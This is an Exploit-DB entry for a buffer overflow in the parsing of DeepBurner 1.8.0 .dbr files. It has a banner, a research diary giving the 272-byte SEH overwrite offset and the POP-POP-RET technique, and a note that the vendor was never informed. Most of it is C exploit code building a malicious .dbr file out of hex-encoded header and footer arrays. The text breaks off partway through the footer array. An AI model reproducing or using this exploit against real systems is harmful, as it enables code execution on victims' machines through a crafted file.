Exploit-DB #2950
Description: AstonSoft DeepBurner 1.8.0 - '.dbr' File Parsing Buffer Overflow
Type: local
Platform: windows
Date: 2006-12-19
Author: Expanders

Exploit:
/*
       _______         ________           .__        _____          __
___  __\   _  \   ____ \_____  \          |  |__    /  |  |   ____ |  | __
\  \/  /  /_\  \ /    \  _(__  <   ______ |  |  \  /   |  |__/ ___\|  |/ /
 >    <\  \_/   \   |  \/       \ /_____/ |   Y  \/    ^   /\  \___|    <
/__/\_ \\_____  /___|  /______  /         |___|  /\____   |  \___  >__|_ \
      \/      \/     \/       \/   18\12\06    \/      |__|      \/     \/
      
 *   mm.           dM8
 *  YMMMb.       dMM8      _____________________________________
 *   YMMMMb     dMMM'     [                                     ]
 *    `YMMMb   dMMMP      [ There are doors I have yet to open  ]
 *      `YMMM  MMM'       [ windows I have yet to look through  ]
 *         "MbdMP         [ Going forward may not be the answer ]
 *     .dMMMMMM.P         [                                     ]
 *    dMM  MMMMMM         [       maybe I should go back        ]
 *    8MMMMMMMMMMI        [_____________________________________]
 *     YMMMMMMMMM                   www.netbunny.org
 *       "MMMMMMP              [Happy holidays to everybody]
 *      MxM .mmm
 *      W"W """

[i] Title:              DeepBurner <= 1.8.0 dbr parsing remote buffer overflow
[i] Discovered by:      Expanders
[i] Exploit by:         Expanders  -  expanders [aaat] gmail [dooot] com
[i] References:         http://www.deepburner.com/
[i] Greatings:          x0n3-h4ck - netbunny

[ Research diary ]

Another classical buffer overflow. This time is located in the "file name" tag of the dbr file.
if we supply more than 272 bytes of buffer we can trigger an access violation
and we can overwrite SEH handler. After that stack get a little bit corrupted, btw nothing that a tricky jmpover
cannot avoid :)

[ Timeline ]

Vendor hasn't been informed. Damned greyhats!

[ Notes ]

RETcode type: POP REG, POP REG, RET
To improve realiability you can search your own RETcodes..

[ Special Thanks ]

H D Moore
Greg Linares  <---  You're awesome man!


[ Links ]

www.x0n3-h4ck.org
www.netbunny.org



*/



#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>

// Exploit internals, change only if you know what you are doing
#define BUFFSIZE 1000

// Offsets
#define SEH_OFFSET       272

int banner();
int usage(char *filename);

unsigned char header[] =
        "\x3C\x44\x65\x65\x70\x42\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F"
        "\x72\x64\x20\x76\x65\x72\x3D\x22\x31\x2E\x38\x2E\x30\x2E\x32\x32" 
        "\x34\x22\x20\x74\x79\x70\x65\x3D\x22\x64\x61\x74\x61\x22\x3E\x0D" 
        "\x0A\x20\x20\x20\x20\x3C\x64\x61\x74\x61\x5F\x63\x64\x20\x76\x65" 
        "\x72\x3D\x22\x31\x22\x20\x64\x65\x76\x69\x63\x65\x3D\x22\x22\x20" 
        "\x73\x65\x73\x73\x69\x6F\x6E\x32\x69\x6D\x70\x6F\x72\x74\x3D\x22" 
        "\x30\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x64\x69\x73\x63" 
        "\x3D\x22\x31\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x74\x72" 
        "\x61\x63\x6B\x3D\x22\x31\x22\x20\x62\x6F\x6F\x74\x61\x62\x6C\x65" 
        "\x3D\x22\x30\x22\x20\x62\x6F\x6F\x74\x5F\x69\x6D\x61\x67\x65\x5F" 
        "\x70\x61\x74\x68\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20" 
        "\x20\x20\x3C\x64\x69\x72\x20\x6E\x61\x6D\x65\x3D\x22\x43\x44\x52" 
        "\x6F\x6F\x74\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x3E\x0D\x0A\x20" 
        "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65" 
        "\x20\x6E\x61\x6D\x65\x3D\x22\x74\x65\x73\x74\x2E\x74\x78\x74\x22" 
        "\x20\x70\x61\x74\x68\x3D\x22";


unsigned char footer[] =
        "\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x72\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x3C\x2F\x64\x61\x74\x61\x5F\x63\x64\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x3C\x63\x64\x5F\x6C\x61\x62\x65\x6C\x20\x76\x65\x72\x3D"
        "\x22\x31\x22\x20\x7A\x6F\x6F\x6D\x3D\x22\x30\x22\x20\x76\x69\x65"
        "\x77\x3D\x22\x6C\x61\x62\x65\x6C\x22\x20\x6C\x61\x79\x6F\x75\x74"
        "\x3D\x22\x73\x74\x61\x6E\x64\x61\x72\x74\x22\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x6C\x61\x62\x65\x6C\x20\x2F\x3E\x0D"
        "\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x72\x6F\x6E\x74\x20"
        "\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x61\x63"
        "\x6B\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x63\x64\x5F\x6C"
        "\x61\x62\x65\x6C\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x61\x75\x74\x6F"
        "\x72\x75\x6E\x20\x76\x65\x72\x3D\x22\x31\x22\x20\x75\x73\x65\x3D"
        "\x22\x30\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D"
        "\x61\x69\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x4D\x61\x69\x6E\x46\x6F"
        "\x72\x6D\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
        "\x22\x20\x68\x69\x6E\x74\x3D\x22\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x20\x6E\x61\x6D"
        "\x65\x3D\x22\x54\x69\x74\x6C\x65\x22\x20\x74\x65\x78\x74\x3D\x22"
        "\x54\x69\x74\x6C\x65\x22\x20\x68\x69\x6E\x74\x3D\x22\x54\x69\x74"
        "\x6C\x65\x20\x62\x6F\x78\x22\x20\x6C\x65\x66\x74\x3D\x22\x31\x34"
        "\x34\x22\x20\x74\x6F\x70\x3D\x22\x34\x38\x22\x20\x77\x69\x64\x74"
        "\x68\x3D\x22\x35\x37\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33"
        "\x33\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x54\x69\x6D"
        "\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x22\x20\x66\x6F"
        "\x6E\x74\x73\x69\x7A\x65\x3D\x22\x32\x30\x22\x20\x66\x6F\x6E\x74"
        "\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69"
        "\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C"
        "\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
        "\x20\x20\x3C\x63\x6F\x6D\x6D\x65\x6E\x74\x20\x6E\x61\x6D\x65\x3D"
        "\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x22\x20\x74\x65\x78\x74\x3D"
        "\